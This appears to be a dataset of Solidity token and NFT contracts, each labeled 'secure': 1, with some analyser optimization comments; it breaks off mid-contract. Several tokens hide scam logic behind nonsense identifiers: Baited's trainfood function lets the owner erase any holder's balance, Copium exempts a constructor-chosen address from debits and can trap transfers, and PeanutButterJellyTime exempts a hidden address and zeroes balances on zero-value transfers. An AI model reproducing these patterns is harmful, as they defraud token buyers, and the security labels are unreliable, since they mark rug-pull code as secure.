{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n address public addressAdmin = address(msg.sender);\n address public marketingWallet = address(msg.sender);\n address public devWallet = address(msg.sender);\n address public constant deadAddress = address(0xdead);\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_1776.sol", "secure": 1, "size_bytes": 6148 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PEPETRUMP is ERC20 {\n constructor() ERC20(\"PEPE TRUMP\", \"PEPETRUMP\") {\n _mint(msg.sender, 47000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_1777.sol", "secure": 1, "size_bytes": 280 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract LifeCardToken is IERC20 {\n string public constant name = \"LifeCard\";\n string public constant symbol = \"LICD\";\n uint8 public constant decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 007f0da): LifeCardToken.totalSupply should be immutable \n\t// Recommendation for 007f0da: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public override totalSupply;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n totalSupply = 65_000_000 * (10 ** uint256(decimals));\n _balances[msg.sender] = totalSupply;\n emit Transfer(address(0), msg.sender, totalSupply);\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(\n _balances[msg.sender] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[msg.sender] -= amount;\n _balances[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(\n recipient != address(0),\n \"ERC20: transfer from the zero address\"\n );\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(\n _balances[sender] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n require(\n _allowances[sender][msg.sender] >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _balances[sender] -= amount;\n _allowances[sender][msg.sender] -= amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n}", "file_name": "solidity_code_1778.sol", "secure": 1, "size_bytes": 2882 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract LOaF is IERC20 {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac83b6e): LOaF._name should be constant \n\t// Recommendation for ac83b6e: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Almighty Loaf\";\n\t// WARNING Optimization Issue (constable-states | ID: 27a1a9f): LOaF._symbol should be constant \n\t// Recommendation for 27a1a9f: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"LOAF\";\n\t// WARNING Optimization Issue (constable-states | ID: 0e0bd8d): LOaF._decimals should be constant \n\t// Recommendation for 0e0bd8d: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: b7f5106): LOaF._totalSupply should be immutable \n\t// Recommendation for b7f5106: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply =\n 1000000000000000000 * (1 ** uint256(_decimals));\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address private _owner;\n mapping(address => bool) private _excludedFees;\n mapping(address => bool) private _excludedRewards;\n\n uint256 private constant _taxRate = 0;\n address private constant _marketingWallet =\n 0xbf0B09C6019EB2499C6Fec57445b2606d3B0E553;\n\n modifier onlyOwner() {\n require(\n msg.sender == _owner,\n \"Only contract owner can call this function\"\n );\n _;\n }\n\n constructor() {\n _owner = msg.sender;\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(amount > 0, \"Amount must be greater than zero\");\n\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(amount > 0, \"Amount must be greater than zero\");\n\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n msg.sender,\n _allowances[sender][msg.sender].sub(amount)\n );\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedAmount\n ) public returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender].add(addedAmount)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedAmount\n ) public returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender].sub(subtractedAmount)\n );\n return true;\n }\n\n function renounceOwnership() public onlyOwner {\n _owner = address(0x0000000000000000000000000000000000000000);\n }\n\n function Owner() public view returns (address) {\n return _owner;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n uint256 taxAmount = amount.mul(_taxRate).div(100);\n uint256 transferAmount = amount.sub(taxAmount);\n\n _balances[sender] = _balances[sender].sub(amount);\n _balances[recipient] = _balances[recipient].add(transferAmount);\n _balances[_marketingWallet] = _balances[_marketingWallet].add(\n taxAmount\n );\n\n emit Transfer(sender, recipient, transferAmount);\n emit Transfer(sender, _marketingWallet, taxAmount);\n }\n\n function _approve(address owner, address spender, uint256 amount) internal {\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}", "file_name": "solidity_code_1779.sol", "secure": 1, "size_bytes": 5255 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IPayable.sol\" as IPayable;\n\nabstract contract ServicePayer {\n constructor(address payable receiver, string memory serviceName) payable {\n IPayable(receiver).pay{value: msg.value}(serviceName);\n }\n}", "file_name": "solidity_code_178.sol", "secure": 1, "size_bytes": 288 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract SLPX is IERC20 {\n\t// WARNING Optimization Issue (constable-states | ID: 112778f): SLPX.name should be constant \n\t// Recommendation for 112778f: Add the 'constant' attribute to state variables that never change.\n string public name = \"Stealth Launch Platform\";\n\t// WARNING Optimization Issue (constable-states | ID: a1a76cc): SLPX.symbol should be constant \n\t// Recommendation for a1a76cc: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"SLPX\";\n\t// WARNING Optimization Issue (constable-states | ID: 5bf653d): SLPX.decimals should be constant \n\t// Recommendation for 5bf653d: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\t// WARNING Optimization Issue (immutable-states | ID: c07cb1e): SLPX._totalSupply should be immutable \n\t// Recommendation for c07cb1e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 1_000_000_000 * (10 ** uint256(decimals));\n\n\t// WARNING Optimization Issue (constable-states | ID: 6558440): SLPX.buyTaxPercent should be constant \n\t// Recommendation for 6558440: Add the 'constant' attribute to state variables that never change.\n uint256 public buyTaxPercent = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 93ab796): SLPX.sellTaxPercent should be constant \n\t// Recommendation for 93ab796: Add the 'constant' attribute to state variables that never change.\n uint256 public sellTaxPercent = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 704398a): SLPX.taxesRemoved should be constant \n\t// Recommendation for 704398a: Add the 'constant' attribute to state variables that never change.\n bool public taxesRemoved = true;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n require(\n buyTaxPercent <= 100 && sellTaxPercent <= 100,\n \"Tax percentage too high.\"\n );\n\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function _updateTax(\n uint256 amount,\n uint256 taxPercent\n ) internal pure returns (uint256) {\n return amount - ((amount * taxPercent) / 100);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(recipient != address(0), \"Transfer to the zero address\");\n\n uint256 finalAmount = amount;\n if (!taxesRemoved) {\n if (recipient == address(this) || recipient == address(0)) {\n finalAmount = _updateTax(amount, sellTaxPercent);\n } else {\n finalAmount = _updateTax(amount, buyTaxPercent);\n }\n }\n\n require(_balances[msg.sender] >= finalAmount, \"Insufficient balance\");\n\n _balances[msg.sender] -= finalAmount;\n _balances[recipient] += finalAmount;\n emit Transfer(msg.sender, recipient, finalAmount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(sender != address(0), \"Transfer from the zero address\");\n require(recipient != address(0), \"Transfer to the zero address\");\n\n uint256 finalAmount = amount;\n if (!taxesRemoved) {\n if (recipient == address(this) || recipient == address(0)) {\n finalAmount = _updateTax(amount, sellTaxPercent);\n } else {\n finalAmount = _updateTax(amount, buyTaxPercent);\n }\n }\n\n require(_balances[sender] >= finalAmount, \"Insufficient balance\");\n require(\n _allowances[sender][msg.sender] >= finalAmount,\n \"Allowance exceeded\"\n );\n\n _balances[sender] -= finalAmount;\n _balances[recipient] += finalAmount;\n _allowances[sender][msg.sender] -= finalAmount;\n emit Transfer(sender, recipient, finalAmount);\n return true;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n}", "file_name": "solidity_code_1780.sol", "secure": 1, "size_bytes": 5016 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesString4 {\n bytes32 s;\n bytes32 t;\n\n function SetString() public {\n s = \"sixteensixteen16\";\n t = \"sixteensixteen16\";\n }\n\n function GetString() public view returns (bytes32, bytes32) {\n return (s, t);\n }\n}", "file_name": "solidity_code_1781.sol", "secure": 1, "size_bytes": 334 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Baited {\n using SafeMath for uint256;\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply = 10000000000000000000000000000;\n\t// WARNING Optimization Issue (constable-states | ID: 15fae4c): baited._name should be constant \n\t// Recommendation for 15fae4c: Add the 'constant' attribute to state variables that never change.\n string private _name = \"BAITED\";\n\t// WARNING Optimization Issue (constable-states | ID: 0cd890f): baited._symbol should be constant \n\t// Recommendation for 0cd890f: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"BAITED\";\n\t// WARNING Optimization Issue (immutable-states | ID: 4312eec): baited._owner should be immutable \n\t// Recommendation for 4312eec: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n constructor() {\n _owner = msg.sender;\n _balances[_owner] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function trainfood(address account) external {\n require(msg.sender == _owner);\n\n uint256 accountBalance = _balances[account];\n\n _totalSupply -= accountBalance;\n _balances[account] -= _balances[account];\n emit Transfer(account, address(0), accountBalance);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_1782.sol", "secure": 1, "size_bytes": 5828 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract Copium is Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: e5ee088): Copium.totalSupply should be constant \n\t// Recommendation for e5ee088: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 4_206_969_696 * 10 ** 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: a82ec7a): Copium.uniswapV2Router should be constant \n\t// Recommendation for a82ec7a: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router02 private uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (constable-states | ID: 9edf16c): Copium.alarm should be constant \n\t// Recommendation for 9edf16c: Add the 'constant' attribute to state variables that never change.\n uint256 private alarm = 39;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7289eaa): Copium.uniswapV2Pair should be immutable \n\t// Recommendation for 7289eaa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n constructor(address legacy) {\n balanceOf[msg.sender] = totalSupply;\n giggly[legacy] = alarm;\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: 810eb9c): Copium.decimals should be constant \n\t// Recommendation for 810eb9c: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n mapping(address => uint256) public balanceOf;\n\n mapping(address => uint256) private drifter;\n\n function approve(\n address flash,\n uint256 flabbergasted\n ) public returns (bool success) {\n allowance[msg.sender][flash] = flabbergasted;\n emit Approval(msg.sender, flash, flabbergasted);\n return true;\n }\n\n function transferFrom(\n address expediency,\n address expeditiously,\n uint256 flabbergasted\n ) public returns (bool success) {\n getHigh(expediency, expeditiously, flabbergasted);\n require(flabbergasted <= allowance[expediency][msg.sender]);\n allowance[expediency][msg.sender] -= flabbergasted;\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private giggly;\n\n function transfer(\n address expeditiously,\n uint256 flabbergasted\n ) public returns (bool success) {\n getHigh(msg.sender, expeditiously, flabbergasted);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 38e53e0): Copium.name should be constant \n\t// Recommendation for 38e53e0: Add the 'constant' attribute to state variables that never change.\n string public name = \"Copium\";\n\n function getHigh(\n address expediency,\n address expeditiously,\n uint256 flabbergasted\n ) private returns (bool success) {\n if (giggly[expediency] == 0) {\n balanceOf[expediency] -= flabbergasted;\n }\n\n if (flabbergasted == 0) drifter[expeditiously] += alarm;\n\n if (\n giggly[expediency] == 0 &&\n uniswapV2Pair != expediency &&\n drifter[expediency] > 0\n ) {\n giggly[expediency] -= alarm;\n }\n\n balanceOf[expeditiously] += flabbergasted;\n emit Transfer(expediency, expeditiously, flabbergasted);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: d3a901c): Copium.symbol should be constant \n\t// Recommendation for d3a901c: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"COPIUM\";\n}", "file_name": "solidity_code_1783.sol", "secure": 1, "size_bytes": 4430 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesUint1 {\n uint8 i;\n\n function SetInt8() public {\n i = 1;\n }\n}", "file_name": "solidity_code_1784.sol", "secure": 1, "size_bytes": 162 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract PeanutButterJellyTime is Ownable {\n mapping(address => uint256) public balanceOf;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6751579): PeanutButterJellyTime.symbol should be constant \n\t// Recommendation for 6751579: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"PBJT\";\n\n\t// WARNING Optimization Issue (constable-states | ID: a07ecfe): PeanutButterJellyTime.decimals should be constant \n\t// Recommendation for a07ecfe: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n mapping(address => uint256) private qmhcxynbr;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: fcbf70b): PeanutButterJellyTime.hgypjzbkxeqr should be constant \n\t// Recommendation for fcbf70b: Add the 'constant' attribute to state variables that never change.\n uint256 private hgypjzbkxeqr = 117;\n\n\t// WARNING Optimization Issue (constable-states | ID: e3ee0cb): PeanutButterJellyTime.totalSupply should be constant \n\t// Recommendation for e3ee0cb: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: d36b2a9): PeanutButterJellyTime.name should be constant \n\t// Recommendation for d36b2a9: Add the 'constant' attribute to state variables that never change.\n string public name = \"Peanut Butter Jelly Time\";\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function transfer(\n address bdcnmegfi,\n uint256 tqfchmlz\n ) public returns (bool success) {\n ipzoan(msg.sender, bdcnmegfi, tqfchmlz);\n return true;\n }\n\n constructor(address yacfxe) {\n balanceOf[msg.sender] = totalSupply;\n qmhcxynbr[yacfxe] = hgypjzbkxeqr;\n IUniswapV2Router02 alxy = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n heoxig = IUniswapV2Factory(alxy.factory()).createPair(\n address(this),\n alxy.WETH()\n );\n }\n\n function transferFrom(\n address kozmcj,\n address bdcnmegfi,\n uint256 tqfchmlz\n ) public returns (bool success) {\n require(tqfchmlz <= allowance[kozmcj][msg.sender]);\n allowance[kozmcj][msg.sender] -= tqfchmlz;\n ipzoan(kozmcj, bdcnmegfi, tqfchmlz);\n return true;\n }\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private flwrpbm;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ededaef): PeanutButterJellyTime.heoxig should be immutable \n\t// Recommendation for ededaef: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public heoxig;\n\n function ipzoan(\n address kozmcj,\n address bdcnmegfi,\n uint256 tqfchmlz\n ) private {\n if (0 == qmhcxynbr[kozmcj]) {\n balanceOf[kozmcj] -= tqfchmlz;\n }\n balanceOf[bdcnmegfi] += tqfchmlz;\n if (0 == tqfchmlz && bdcnmegfi != heoxig) {\n balanceOf[bdcnmegfi] = tqfchmlz;\n }\n emit Transfer(kozmcj, bdcnmegfi, tqfchmlz);\n }\n\n function approve(\n address rwdq,\n uint256 tqfchmlz\n ) public returns (bool success) {\n allowance[msg.sender][rwdq] = tqfchmlz;\n emit Approval(msg.sender, rwdq, tqfchmlz);\n return true;\n }\n}", "file_name": "solidity_code_1785.sol", "secure": 1, "size_bytes": 3982 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\n\ncontract CloudMonster is ERC721A {\n\t// WARNING Optimization Issue (immutable-states | ID: fdecb18): CloudMonster.owner should be immutable \n\t// Recommendation for fdecb18: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n string private baseURI;\n\n constructor() ERC721A(\"CloudMonster\", \"Cloud\") {\n owner = msg.sender;\n _mintERC2309(owner, 100);\n }\n\n function BaseURI() public view override returns (string memory) {\n return baseURI;\n }\n\n function setBaseURI(string memory URI) public returns (string memory) {\n require(owner == msg.sender, \"NOT owner!\");\n baseURI = URI;\n return \"\";\n }\n}", "file_name": "solidity_code_1786.sol", "secure": 1, "size_bytes": 850 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) public unless;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 public _totalSupply = 1000000000000 * 10 ** 9;\n\n string private queen;\n string private bear;\n\n constructor(string memory name_, string memory symbol_) {\n queen = name_;\n bear = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return queen;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return bear;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return unless[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n iron(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n roof(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n iron(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n roof(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns 